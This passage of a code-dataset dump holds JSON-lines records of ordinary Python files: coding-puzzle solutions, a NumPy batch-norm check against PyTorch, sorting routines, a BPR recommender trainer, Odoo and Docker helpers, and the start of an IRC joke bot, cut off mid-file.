1:\n continue\n else:\n self.dfs(i, j, grid)\n cnt += 1\n return cnt\n\n def dfs(self, i, j, grid):\n if grid[i][j] == 1:\n return\n grid[i][j] = 1\n for a, b in [[1, 0], [-1, 0], [0, 1], [0, -1]]:\n new_i, new_j = i + a, j + b\n if new_i < 0 or new_i >= len(grid) or new_j < 0 or new_j >= len(grid[0]):\n continue\n self.dfs(new_i, new_j, grid)\n\n","sub_path":"1254_Number_of_Closed_Islands/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"455187979","text":"#\n\nimport hy # NOQA\n\nfrom hy.models.expression import HyExpression\nfrom hy.models.symbol import HySymbol\nfrom hy.models.string import HyString\nfrom hy.models.list import HyList\nfrom hy.models.dict import HyDict\n\nfrom hy.macros import macro\n\n\ndef router(tree, rkwargs=None):\n tree.pop(0)\n path = tree.pop(0)\n tree.insert(0, HySymbol(\"fn\"))\n\n route = HyExpression([HySymbol(\".route\"),\n HySymbol(\"app\"),\n path])\n\n if rkwargs:\n route = HyExpression([HySymbol(\"kwapply\"),\n route,\n HyDict({HyString(\"methods\"): rkwargs})])\n\n return HyExpression([HySymbol(\"decorate_with\"),\n route,\n tree])\n\n\n@macro(\"route\")\ndef route_macro(tree):\n return router(tree)\n\n\n@macro(\"post_route\")\ndef post_route_macro(tree):\n return router(tree, rkwargs=HyList([HyString(\"POST\")]))\n\n\nfrom app import app\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"site/shim.py","file_name":"shim.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265823162","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n#\n# Complete the 'partitionArray' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts following parameters:\n# 1. INTEGER k\n# 2. INTEGER_ARRAY numbers\n#\nfrom itertools import combinations\n\n## Here we generate all sublists\ndef getSublists(numbers):\n sublists = [\n numbers[i:j]\n for i in range(0, len(numbers) + 1)\n for j in range(i + 1, len(numbers) + 1)\n ]\n return sublists\n\n\ndef partitionArray(k, numbers):\n import itertools\n\n sublists = getSublists(numbers)\n\n lenKSublists = [sublist for sublist in sublists if len(sublist) == k]\n for numLists in range(0, len(lenKSublists) + 1):\n for combination in itertools.combinations(lenKSublists, numLists):\n areEqual = True\n for num in numbers:\n if num in combination:\n combination = combination.remove(num)\n else:\n areEqual = False\n break\n if areEqual == True:\n return \"Yes\"\n return \"No\"\n\n\n#\n# Complete the 'totalTriplets' function below.\n#\n# The function is expected to return a LONG_INTEGER.\n# The function accepts following parameters:\n# 1. INTEGER_ARRAY capacity\n# 2. LONG_INTEGER desiredCapacity\n#\n\n\ndef totalTriplets(capacity, desiredCapacity):\n numWorkers = len(capacity)\n ## We will iterate over the list in pairs and pick the third triplet randomly from the remainder of the list\n numValidTriplets = 0\n ## This makes sure we don't accidentally add the same triplet twice\n knownTrips = []\n\n ## Create a dictionary of the capacities and their indices w/ dict comp\n capacityDict = {cap: capInd for capInd, cap in enumerate(capacity)}\n\n ## First lets iterate over the workers and retreive all adjacent worker paris\n for capInd in range(numWorkers - 1):\n adjWorkers = (capacity[capInd], capacity[capInd + 1])\n ## Then find their work value\n workVal = adjWorkers[0] * adjWorkers[1]\n\n ## If the current workVal is zero, then any value but zero is not achievable\n if workVal == 0:\n if desiredCapacity != 0:\n continue\n target = 0\n ## If not then we can get the target by default\n else:\n target = desiredCapacity / workVal\n\n ## We say a triplet exists if the set of triplet indices has never been seen before\n if target in capacityDict and capacityDict[target] not in {capInd, capInd + 1}:\n triplet = set([capInd, capInd + 1, capacityDict[target]])\n if triplet not in knownTrips:\n knownTrips.append(triplet)\n numValidTriplets += 1\n return numValidTriplets\n\n","sub_path":"week-7/Python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"175895821","text":"import torch\nimport numpy as np\n\n\nclass BatchNorm1d:\n def __init__(self):\n self.eps = 1e-5\n self.weight = None\n self.bias = None\n\n self.num = None\n self.std = None\n self.dw = None\n self.db = None\n\n def __call__(self, x):\n self.num = np.shape(x)[0]\n mean = np.mean(x, axis=0, keepdims=True)\n var = np.var(x, axis=0, keepdims=True)\n self.sqrt = np.sqrt(var + self.eps)\n self.std = (x - mean) / self.sqrt\n out = self.std * self.weight + self.bias\n return out\n\n def backward(self, d_loss):\n std_t = self.std.T\n shape_t = np.shape(std_t)\n r = np.zeros([shape_t[0], shape_t[1], shape_t[1]])\n shift_eye = np.eye(shape_t[1]) * shape_t[1] - 1\n for i in range(shape_t[0]):\n r[i] = std_t[i][:, np.newaxis] * std_t[i][np.newaxis, :]\n r[i] = shift_eye - r[i]\n\n u = self.weight / shape_t[1] / self.sqrt\n u = u.T\n y = r * u[:, np.newaxis]\n\n dx = np.zeros(shape_t)\n for i in range(shape_t[0]):\n dx[i] = np.dot(d_loss.T[i], y[i])\n dx = dx.T\n\n self.dw = np.sum(self.std * d_loss, axis=0)\n self.db = np.sum(d_loss, axis=0)\n\n return dx\n\n\nnp.set_printoptions(precision=8, suppress=True, linewidth=120)\nnp.random.seed(123)\ntorch.random.manual_seed(123)\n\nx_numpy = np.array(np.random.random((3, 5)), dtype=np.float64)\nweight_numpy = np.array(np.random.random((5,)), dtype=np.float64)\nbias_numpy = np.array(np.random.random((5,)), dtype=np.float64)\nd_loss_numpy = np.array(np.random.random((3, 5)), dtype=np.float64)\n\nx_tensor = torch.tensor(x_numpy, requires_grad=True)\nweight_tensor = torch.tensor(weight_numpy, requires_grad=True)\nbias_tensor = torch.tensor(bias_numpy, requires_grad=True)\nd_loss_tensor = torch.tensor(d_loss_numpy, requires_grad=True)\n\nbatch_norm_numpy = BatchNorm1d()\nbatch_norm_numpy.weight = weight_numpy\nbatch_norm_numpy.bias = bias_numpy\n\nbatch_norm_tensor = torch.nn.BatchNorm1d(5).double()\nbatch_norm_tensor.weight = torch.nn.Parameter(weight_tensor, requires_grad=True)\nbatch_norm_tensor.bias = torch.nn.Parameter(bias_tensor, requires_grad=True)\n\noutput_numpy = batch_norm_numpy(x_numpy)\noutput_tensor = batch_norm_tensor(x_tensor)\noutput_tensor.backward(d_loss_tensor)\n\ndx_numpy = batch_norm_numpy.backward(d_loss_numpy)\ndx_tensor = x_tensor.grad\n\ndw_numpy = batch_norm_numpy.dw\ndw_tensor = batch_norm_tensor.weight.grad\n\ndb_numpy = batch_norm_numpy.db\ndb_tensor = batch_norm_tensor.bias.grad\n\nprint(\"output_numpy \\n\", output_numpy)\nprint(\"output_tensor \\n\", output_tensor.data.numpy())\n\nprint(\"dx_numpy \\n\", dx_numpy)\nprint(\"dx_tensor \\n\", dx_tensor.data.numpy())\n\nprint(\"dw_numpy \\n\", dw_numpy)\nprint(\"dw_tensor \\n\", dw_tensor.data.numpy())\n\nprint(\"db_numpy \\n\", db_numpy)\nprint(\"db_tensor \\n\", db_tensor.data.numpy())","sub_path":"CNN/batch_normalization.py","file_name":"batch_normalization.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"174469500","text":"import convex_hull\nimport optimal_path\nimport nacitanie_dat\nfrom matplotlib import pyplot as plt\n\ndef graph():\n plt.figure(map_name)\n # nakresli jednotlive prekazky\n for i in range(len(x_coordinates)):\n plt.scatter(x_coordinates[i], y_coordinates[i], color=\"black\", s=20, zorder=2)\n plt.fill(x_coordinates[i], y_coordinates[i], color=\"#553B8F\", alpha=0.75)\n\n # nakresli start a end\n plt.scatter(start_position[0], start_position[1], color=\"black\", s=70)\n plt.text(start_position[0] - 2, start_position[1] - 4, \"START\", fontsize=6)\n plt.scatter(end_position[0], end_position[1], color=\"black\", s=70)\n plt.text(end_position[0] - 1.5, end_position[1] - 4, \"END\", fontsize=6)\n\n # nakresli konvexne obalky\n for convex_hull in convex_hulls:\n points_x = []\n points_y = []\n for coordinates in convex_hull:\n points_x.append(coordinates[0])\n points_y.append(coordinates[1])\n\n plt.scatter(points_x, points_y)\n plt.plot(points_x, points_y, color=\"orange\")\n\n # nakresli optimalnu cestu\n x_path = []\n y_path = []\n for point in path:\n x_path.append(point[0])\n y_path.append(point[1])\n\n plt.scatter(x_path, y_path)\n plt.plot(x_path, y_path, \"--\")\n\n return plt.show()\n\nconvex_hulls = convex_hull.convex_hulls\npath = optimal_path.path\nx_coordinates = nacitanie_dat.x_coordinates()\ny_coordinates = nacitanie_dat.y_coordinates()\nstart_position = nacitanie_dat.start_position()\nend_position = nacitanie_dat.end_position()\nmap_name = nacitanie_dat.map_name()","sub_path":"zobrazenie_dat.py","file_name":"zobrazenie_dat.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378906170","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport re\nimport os\nimport sys\n\ndockerfile_name_re = re.compile('Dockerfile-(?P[^.]+)(?P(\\.gpu)?)')\n\n\ndef gen_tag_from_filepath(dockerfile_path):\n # sample input: dl/tensorflow/1.0.1/Dockerfile-py3.gpu\n # sample output: floydhub/tensorflow:1.0.1-gpu-py3\n abs_path = os.path.realpath(dockerfile_path)\n\n path_parts = abs_path.split(os.sep)\n\n if len(path_parts) < 4:\n return None\n # we only care about the last 4 segments\n path_parts = path_parts[-4:]\n\n project = path_parts[1]\n version = path_parts[2]\n tag_components = ['floydhub/%s:%s' % (project, version)]\n\n dockerfile_name = path_parts[-1]\n match = dockerfile_name_re.match(dockerfile_name)\n if not match:\n return None\n\n if match.group('arch') == '.gpu':\n tag_components.append('gpu')\n tag_components.append(match.group('env'))\n\n return '-'.join(tag_components)\n\n\ndef find_matrix_from_dockerfile(dockerfile_path):\n abs_path = os.path.realpath(dockerfile_path)\n path_parts = abs_path.split(os.sep)\n return os.path.join(os.sep.join(path_parts[:-2]), 'matrix.yml')\n\n\ndef assert_image_tag_from_dockerfile(logger, dockerfile):\n if os.path.isdir(dockerfile):\n logger.error('%s is a directory.', dockerfile)\n sys.exit(1)\n\n image_tag = gen_tag_from_filepath(dockerfile)\n if not image_tag:\n logger.error('Failed to generate image tag from filename: %s',\n dockerfile)\n sys.exit(1)\n\n return image_tag\n\n\ndef gen_version_target_from_tag(img_tag):\n \"\"\"\n sample input: 'tensorflow:1.0.1-gpu-py3'\n sample output: ('1.0.1', 'py3.gpu')\n \"\"\"\n img_commit = img_tag.split(':')[-1]\n version, target = img_commit.split('-', 1)\n target = '.'.join(reversed(target.split('-', 1)))\n return version, target\n","sub_path":"floydker/src/floydker/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"402438596","text":"import numpy as np\nimport pandas as pd\nfrom new_project.utilis import *\nfrom new_project.BPR import *\nfrom new_project.NegativeSampling import *\nfrom new_project.PreProcess import *\nimport pickle\n\n\nclass SGDOptimizer:\n def __init__(self, mf_model, max_epoch_num, bias_epoch_num, epsilon, allowed_dec):\n self.max_epoch_num = max_epoch_num\n self.bias_epoch_num = bias_epoch_num\n self.eps = epsilon\n self.allowed_dec_on_valid = allowed_dec\n self.model = mf_model\n self.curr_t_err = - np.Inf\n self.prev_t_err = - np.Inf\n self.curr_v_err = - np.Inf\n self.prev_v_err = - np.Inf\n self.best_v_err = - np.Inf\n self.curr_dec_count = 0\n self.convergence = False\n self.right_count_t = 0\n self.right_count_v = 0\n self.best_epoch = 0\n self.best_count_v = 0\n self.curr_epoch = 1\n\n def run_epoch(self, train_data, user_index, item_index, model_type='bias'):\n # np.seterr(all='raise')\n self.curr_t_err = 0\n self.right_count_t = 0\n for m, i, j in train_data:\n m, i, j = user_index[m], item_index[i], item_index[j]\n new_bi = self.model.update_params('b_i', i, j, m, model_type=model_type)\n new_bj = self.model.update_params('b_j', i, j, m, model_type=model_type)\n s_m_i_j_old = self.model.b_i[i] - self.model.b_i[j] # TODO remove later\n\n if model_type == 'full':\n new_um = self.model.update_params('u_m', i, j, m, model_type=model_type)\n new_vi = self.model.update_params('v_i', i, j, m, model_type=model_type)\n new_vj = self.model.update_params('v_j', i, j, m, model_type=model_type)\n s_m_i_j_old += np.dot(self.model.u_m[:, m], self.model.v_i[:, i]-self.model.v_i[:, j]) # TODO remove later\n\n # update the model with the new parameters\n self.model.b_i[i] = new_bi\n self.model.b_i[j] = new_bj\n s_m_i_j = new_bi - new_bj\n\n if model_type == 'full':\n self.model.u_m[:, m] = new_um\n self.model.v_i[:, i] = new_vi\n self.model.v_i[:, j] = new_vj\n s_m_i_j += np.dot(new_um, new_vi-new_vj)\n self.curr_t_err += np.log(sigmoid(s_m_i_j))\n if s_m_i_j > 0:\n self.right_count_t += 1\n print('Train Log Error = ', self.curr_t_err, ', Train Reg Error = ', self.calc_reg(model_type=model_type))\n self.curr_t_err -= self.calc_reg(model_type=model_type)\n return\n\n def calc_error(self, valid_data, user_index, item_index, model_type='bias'):\n s_m_i_j = 0\n self.curr_v_err = 0\n self.right_count_v = 0\n for m, i, j in valid_data:\n m, i, j = user_index[m], item_index[i], item_index[j]\n i_j_bias_difference = self.model.b_i[i] - self.model.b_i[j]\n if model_type == 'full':\n s_m_i_j = np.dot(self.model.u_m[:, m], (self.model.v_i[:, i] - self.model.v_i[:, j]))\n self.curr_v_err += np.log(sigmoid(s_m_i_j + i_j_bias_difference))\n if s_m_i_j > 0:\n self.right_count_v += 1\n reg_error = self.calc_reg(model_type=model_type)\n self.curr_v_err -= reg_error\n return\n\n def calc_reg(self, model_type='bias'):\n b_i_reg = np.sum(self.model.b_i ** 2) * (self.model.hyper_set['alpha_b'] / 2)\n if model_type == 'full':\n u_m_reg = np.sum(np.linalg.norm(self.model.u_m, axis=0)) * (self.model.hyper_set['alpha_u'] / 2)\n v_i_reg = np.sum(np.linalg.norm(self.model.v_i, axis=0)) * (self.model.hyper_set['alpha_i'] / 2)\n else:\n u_m_reg = 0\n v_i_reg = 0\n return b_i_reg + u_m_reg + v_i_reg\n\n def check_convergence(self, validation_data, curr_epoch, user_index, item_index, model_type='bias', is_valid=True):\n print('Current Train Objective Function =', self.curr_t_err, ', Right Count Train = ', self.right_count_t)\n delta_train = self.curr_t_err - self.prev_t_err # expect to be positive if the model improves\n\n if is_valid:\n # Validation increase criterion\n self.calc_error(validation_data, user_index, item_index, model_type=model_type)\n print('Current Validation Objective Function =', self.curr_v_err, ', Right Count Validation = ', self.right_count_v)\n if model_type == 'full':\n hit_rate_k, mpr = calc_metric(validation_data, self.model, [1, 10, 50, 1000], user_index, item_index)\n print('Hit Rate @ 1, 10, 50, 1000 = ', hit_rate_k, ', MPR = ', mpr)\n\n delta_valid = self.curr_v_err - self.prev_v_err\n if delta_valid < 0:\n self.curr_dec_count += 1\n if self.curr_dec_count > self.allowed_dec_on_valid:\n self.convergence = True\n print('~~~ Validation increase criterion IN ~~~')\n if self.curr_v_err > self.best_v_err:\n self.model.u_m_best = self.model.u_m.copy()\n self.model.v_i_best = self.model.v_i.copy()\n self.model.b_i_best = self.model.b_i.copy()\n self.best_epoch = self.curr_epoch\n self.best_count_v = self.right_count_v\n self.best_v_err = self.curr_v_err\n\n # Max epoch num criterion\n if curr_epoch >= self.max_epoch_num:\n self.convergence = True\n self.model.u_m_best = self.model.u_m.copy()\n self.model.v_i_best = self.model.v_i.copy()\n self.model.b_i_best = self.model.b_i.copy()\n self.best_epoch = self.curr_epoch\n self.best_count_v = self.right_count_v\n self.best_v_err = self.curr_v_err\n # added now - update the model on the last epoch so the best model is not the initialized one.\n print('~~~ Max epoch num criterion IN ~~~')\n\n # Train epsilon change criterion - check only after finishing the second epoch with the latent vectors\n if self.curr_epoch > self.bias_epoch_num + 1:\n if delta_train < self.eps:\n self.convergence = True\n print('~~~ Train epsilon change criterion IN ~~~')\n\n self.prev_t_err = self.curr_t_err\n self.prev_v_err = self.curr_v_err\n return\n\n def train_model(self, train_data_list, validation_data, user_index, item_index, model_type='bias', is_valid=True):\n while not self.convergence:\n if self.curr_epoch > self.bias_epoch_num:\n model_type = 'full'\n print('Epoch: ', self.curr_epoch)\n self.run_epoch(train_data_list[self.curr_epoch-1], user_index, item_index, model_type=model_type)\n self.check_convergence(validation_data, self.curr_epoch, user_index, item_index, model_type=model_type,\n is_valid=is_valid)\n self.curr_epoch += 1\n if self.curr_epoch % 5 == 0:\n self.model.hyper_set['lr'] = self.model.hyper_set['lr']*0.9\n return\n\n\nif __name__ == '__main__':\n # ~~~~~~~~~~~~~~~~~~~~~ Model with Best HP Set found Results for Report ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n # hyper_set = {'alpha_u': 10, 'alpha_i': 10, 'alpha_b': 10, 'dim': 7, 'lr': 0.001}\n # hyper_set = {'alpha_u': 0.01, 'alpha_i': 0.01, 'alpha_b': 0.1, 'dim': 60, 'lr': 0.05, 'sigma': 0.1}\n # t_data, items_index, users_index, bpr_model, all_epochs_data_lst, valid_data = pre_process(hyper_set, epoch_num=50,\n # read_directory=True,\n # sample_method='P',\n # write_num=2)\n # sgd = SGDOptimizer(mf_model=bpr_model, max_epoch_num=len(all_epochs_data_lst), bias_epoch_num=2, epsilon=-np.inf,\n # allowed_dec=3)\n # sgd.train_model(all_epochs_data_lst, valid_data, users_index, items_index, model_type='bias') # is_valif=False, valid_data=None\n #\n # calc_metric(valid_data, sgd.model, [1,10,50], users_index, items_index)\n\n # hyper_set = {'alpha_u': 0.01, 'alpha_i': 0.01, 'alpha_b': 0.1, 'dim': 60, 'lr': 0.05, 'sigma': 0.1}\n # t_data, items_index, users_index, bpr_model, all_epochs_data_lst, valid_data = pre_process(hyper_set, epoch_num=50,\n # read_directory=True,\n # sample_method='U',\n # write_num=2)\n # sgd = SGDOptimizer(mf_model=bpr_model, max_epoch_num=len(all_epochs_data_lst), bias_epoch_num=2, epsilon=-np.inf,\n # allowed_dec=3)\n # sgd.train_model(all_epochs_data_lst, valid_data, users_index, items_index, model_type='bias')\n #\n # calc_metric(valid_data, sgd.model, [1, 10, 50], users_index, items_index)\n\n # ~~~~~~~~~~~~~~~~~~~~~ Final Model for Test Result - No Validation Data ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n method = ['P', 'U']\n epoch_num = [26, 29]\n read_d = [False, False]\n model_object_dict = {}\n test_df_dict = {}\n for i in range(2):\n print('~~~~~~~~~~~~~ Starting ', method[i])\n hyper_set = {'alpha_u': 0.01, 'alpha_i': 0.01, 'alpha_b': 0.1, 'dim': 60, 'lr': 0.05, 'sigma': 0.1}\n print(method[i], ': Data Preparation')\n t_data, items_index, users_index, bpr_model, all_epochs_data_lst, valid_data = pre_process(hyper_set,\n epoch_num=epoch_num[i],\n read_directory=read_d[i],\n sample_method=method[i],\n write_num=1,\n if_test=True #added now\n )\n print('out')\n print(method[i], ': Fit Model')\n sgd = SGDOptimizer(mf_model=bpr_model, max_epoch_num=len(all_epochs_data_lst), bias_epoch_num=2, epsilon=-np.inf,\n allowed_dec=3)\n sgd.train_model(all_epochs_data_lst, valid_data, users_index, items_index, model_type='bias', is_valid=False)\n model_object_dict[method[i]] = sgd.model\n print(method[i], ': Test Calc')\n if method[i] == 'P':\n details = 'popularity'\n else:\n details = 'random'\n test_df = PostProcess_TestResult(sgd.model, users_index, items_index, details=details)\n test_df_dict[method[i]] = test_df\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"new_project/SGDOptimizer.py","file_name":"SGDOptimizer.py","file_ext":"py","file_size_in_byte":11179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"500313087","text":"\n# Copyright (c) 2020, Romain Rouvoy\n# \n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n# \n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER\n# OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nimport argparse\nfrom .backend import DockerBackend\nfrom .distribution import NoDistribution, PoissonDistribution\n\nclass WorkloadCLI:\n def __init__(self):\n self.parser = argparse.ArgumentParser(description='Starts several containers in parallel.')\n self.parser.add_argument('input', type=str, help='commands file (.yaml)')\n self.parser.add_argument(\"-m\", \"--mean\", type=int, default=2,\n help=\"mean number of containers\")\n self.parser.add_argument(\"-s\", \"--seconds\", type=int, default=30,\n help=\"interval in seconds\")\n self.parser.add_argument(\"-t\", \"--times\", type=int, default=10,\n help=\"number of times\")\n self.parser.add_argument(\"--pull\", action=\"store_true\", help=\"Only pulls the images\")\n\n def generate_configuration(self):\n args = self.parser.parse_args()\n config = WorkloadConfiguration()\n config.input = args.input\n config.mean = args.mean\n config.seconds = args.seconds\n config.times = args.times\n config.pull = args.pull\n return config\n\n\nclass WorkloadConfiguration:\n def __init__(self):\n self.backend = DockerBackend()\n self.dist = PoissonDistribution()\n self.wait = NoDistribution()\n","sub_path":"pyworkload/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"101967854","text":"class Solution:\n \"\"\"\n @param A: an integer array\n @return: nothing\n \"\"\"\n def sortIntegers2(self, A):\n # write your code here\n tmp = [0] * len(A)\n self.mergeSort(A, 0, len(A) - 1, tmp)\n\n # Quick Sort\n # Time: O(NLogN), Worst O(n^2)\n # Space: O(1), in-place\n def quickSort(self, A, start, end):\n if start >= end:\n return\n \n pivot = A[start + (end - start) // 2]\n \n left, right = start, end\n \n while left <= right:\n while left <= right and A[left] < pivot:\n left += 1\n \n while left <= right and A[right] > pivot:\n right -= 1\n \n if left <= right:\n A[left], A[right] = A[right], A[left]\n left += 1\n right -= 1\n \n self.quickSort(A, start, right)\n self.quickSort(A, left, end)\n \n # Merge Sort\n # Time: O(NlogN)\n # Space: O(N)\n # Stable \n def mergeSort(self, A, start, end, tmp):\n if start >= end:\n return\n \n mid = start + (end - start) // 2\n self.mergeSort(A, start, mid, tmp)\n self.mergeSort(A, mid + 1, end, tmp)\n self.merge(A, start, mid, end, tmp)\n \n def merge(self, A, start, mid, end, tmp):\n l, r = start, mid + 1\n index = start\n while l <= mid and r <= end:\n if A[l] <= A[r]:\n tmp[index] = A[l]\n l += 1\n else:\n tmp[index] = A[r]\n r += 1\n index += 1\n \n while l <= mid:\n tmp[index] = A[l]\n l += 1\n index += 1\n \n while r <= end:\n tmp[index] = A[r]\n r += 1\n index += 1\n \n for i in range(start, end + 1):\n A[i] = tmp[i]\n\n'''\n[3, 2, 1, 4, 5]\n2, 3\n1, 4\n5\n'''\nclass Solution2:\n \"\"\"\n @param A: an integer array\n @return: nothing\n \"\"\"\n def sortIntegers2(self, A):\n # write your code here\n self.mergeSortBottomUp(A)\n \n def mergeSortBottomUp(self, A):\n # This represent half of number of the element that you want to sort\n size = 1\n \n while size < len(A):\n # The max index is len(A) - size + 1, imagine the moment that size is greater than\n # half of the input array, the right half won't have numbers of size, but we still need to\n # sort the right half, so as long as we have a valid mid point which is 'index + size - 1'\n # we can proceed to merge sort.\n for index in range(0, len(A) - size + 1, size * 2):\n self.merge(A, index, index + size - 1, min(index + 2 * size - 1, len(A)- 1))\n size *= 2\n \n def merge(self, A, start, mid, end):\n tmp = [0] * (end - start + 1)\n \n l, r = start, mid + 1\n index = start\n \n while l <= mid and r <= end:\n if A[l] <= A[r]:\n tmp[index - start] = A[l]\n l += 1\n else:\n tmp[index - start] = A[r]\n r += 1\n index += 1\n \n while l <= mid:\n tmp[index - start] = A[l]\n l += 1\n index += 1\n \n while r <= end:\n tmp[index - start] = A[r]\n r += 1\n index += 1\n \n for i in range(start, end + 1):\n A[i] = tmp[i - start]","sub_path":"464_sort-integers-2/sort-integers-2.py","file_name":"sort-integers-2.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"315129376","text":"accounts = [[\"David\",\"David0@m.co\",\"David1@m.co\"],[\"David\",\"David3@m.co\",\"David4@m.co\"],[\"David\",\"David4@m.co\",\"David5@m.co\"],[\"David\",\"David2@m.co\",\"David3@m.co\"],[\"David\",\"David1@m.co\",\"David2@m.co\"]]\n\nimport collections\nclass UnionFind:\n def __init__(self, n):\n self.parent = list(range(n))\n\n def union(self, index1: int, index2: int):\n self.parent[self.find(index2)] = self.find(index1)\n\n def find(self, index: int) -> int:\n if self.parent[index] != index:\n self.parent[index] = self.find(self.parent[index])\n return self.parent[index]\n\n\nclass Solution:\n def accountsMerge(self, accounts):\n emailToIndex = dict()\n emailToName = dict()\n\n for account in accounts:\n name = account[0]\n for email in account[1:]:\n if email not in emailToIndex:\n emailToIndex[email] = len(emailToIndex)\n emailToName[email] = name\n print(emailToIndex)\n print(emailToName)\n\n uf = UnionFind(len(emailToIndex))\n for account in accounts:\n firstIndex = emailToIndex[account[1]]\n for email in account[2:]:\n uf.union(firstIndex, emailToIndex[email])\n\n indexToEmails = collections.defaultdict(list)\n for email, index in emailToIndex.items():\n index = uf.find(index)\n indexToEmails[index].append(email)\n\n ans = list()\n for emails in indexToEmails.values():\n ans.append([emailToName[emails[0]]] + sorted(emails))\n return ans\n\nx=Solution()\nx.accountsMerge(accounts)\n# 作者:LeetCode - Solution\n# 链接:https: // leetcode - cn.com / problems / accounts - merge / solution / zhang - hu - he - bing - by - leetcode - solution - 3\n# dyq /\n# 来源:力扣(LeetCode)\n# 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。","sub_path":"721.py","file_name":"721.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54500374","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\n#from odoo.addons.base.models. res import res_request\nfrom odoo.exceptions import ValidationError\n\n# def referencable_models(self):\n# return res_request.referencable_models(\n# self, self.env.cr, self.env.uid, context=self.env.context)\n\n\nclass TodoTask(models.Model):\n _inherit = 'todoroc_app.todoroc_app'\n stage_id = fields.Many2one('todo.task.stage', 'Stage')\n tag_ids = fields.Many2many('todo.task.tag', string='Tags')\n refers_to = fields.Reference(\n [('res.user', 'User'), ('res.partner', 'Partner')],\n 'Refers to')\n\n stage_fold = fields.Boolean(\n 'Stage Folded?',\n compute='_compute_stage_fold',\n # store=False, # the default\n search='_search_stage_fold',\n inverse='_write_stage_fold'\n )\n\n @api.depends('stage_id.fold')\n def _compute_stage_fold(self):\n for task in self:\n task.stage_fold = task.stage_id.fold\n\n @staticmethod\n def _search_stage_fold(operator, value):\n return [('stage_id.fold', operator, value)]\n\n def _write_stage_fold(self):\n self.stage_id.fold = self.stage_fold\n\n stage_state = fields.Selection(\n related='stage_id.state',\n string='Stage State')\n\n# Constraints\n _sql_constraints = [(\n 'todo_task_name_unique',\n 'UNIQUE (name, user_id, active)',\n 'Task title must be unique!'\n )]\n\n # @api.one\n @api.constrains('name')\n def _check_name_size(self):\n if len(self.name) < 5:\n raise ValidationError('Title must have 5 chars!')\n\n # @api.one\n def compute_user_todo_count(self):\n self.user_todo_count = self.search_count(\n [('user_id', '=', self.user_id.id)])\n\n user_todo_count = fields.Integer(\n 'User To-Do Count',\n compute='compute_user_todo_count'\n )\n effort_estimate = fields.Integer('Effort Estimate')","sub_path":"models/model_tasks.py","file_name":"model_tasks.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"457705592","text":"def longestSubstring(string):\n dp = {}\n length = 0\n j = 0\n\n for i, c in enumerate(string):\n if c in dp: \n j = max(j, dp[c] + 1)\n length = max(length, i - j + 1)\n dp[c] = i\n return length","sub_path":"leetcode/longest_substring_wrc.py","file_name":"longest_substring_wrc.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"411756928","text":"import sopel.module\nimport requests\nimport json\n\n@sopel.module.commands('urmom')\ndef sayJoke(bot,trigger):\n joke = getJoke()\n if joke:\n if trigger.group(2):\n bot.say('Hey, ' + trigger.group(2).strip() + '! ' + joke)\n else:\n 